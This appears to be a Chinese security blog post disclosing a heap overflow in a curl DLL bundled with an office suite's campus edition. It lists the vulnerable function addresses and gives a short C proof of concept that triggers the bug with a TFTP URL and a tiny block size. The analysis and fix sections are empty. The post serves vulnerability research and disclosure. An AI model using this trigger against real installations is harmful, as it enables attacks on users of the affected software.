AI赋能 助推网络安全智能化
漏洞说明:
产品:某办公软件 校园版
文件:curls.dll(7.64.1.0)
漏洞类型:堆溢出
漏洞函数:0x10042f25、0x10043744
- 01 -
漏洞分析
- 02 -
漏洞复现
HANDLE curldll = GetModuleHandleA("curls.dll");
const char* testftpurl = "tftp://192.168.44.147/test.txt";
typedef CURLcode (myeasycurl)(CURL* data, CURLoption tag,...);
typedef void* curlinit(void);
typedef CURLcode curleasyperform(CURL* data);
typedef void curleasycleanup(CURL* data);
curlinit* myinit;
myeasycurl* mycurl;
curleasyperform* myperform;
curleasycleanup* mycleanup;
mycurl = (myeasycurl*)GetProcAddress((HMODULE)curldll, "curl_easy_setopt");
myinit = (curlinit*)GetProcAddress((HMODULE)curldll, "curl_easy_init");
myperform = (curleasyperform*)GetProcAddress((HMODULE)curldll, "curl_easy_perform");
mycleanup = (curleasycleanup*)GetProcAddress((HMODULE)curldll, "curl_easy_cleanup");
CURL* curl;
CURLcode res;
curl = (CURL*)myinit();
mycurl(curl,CURLOPT_URL,testftpurl);
mycurl(curl, CURLOPT_TFTP_BLKSIZE, 20);
res = myperform(curl);
mycleanup(curl);
- 03 -
修复建议
往期精选
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论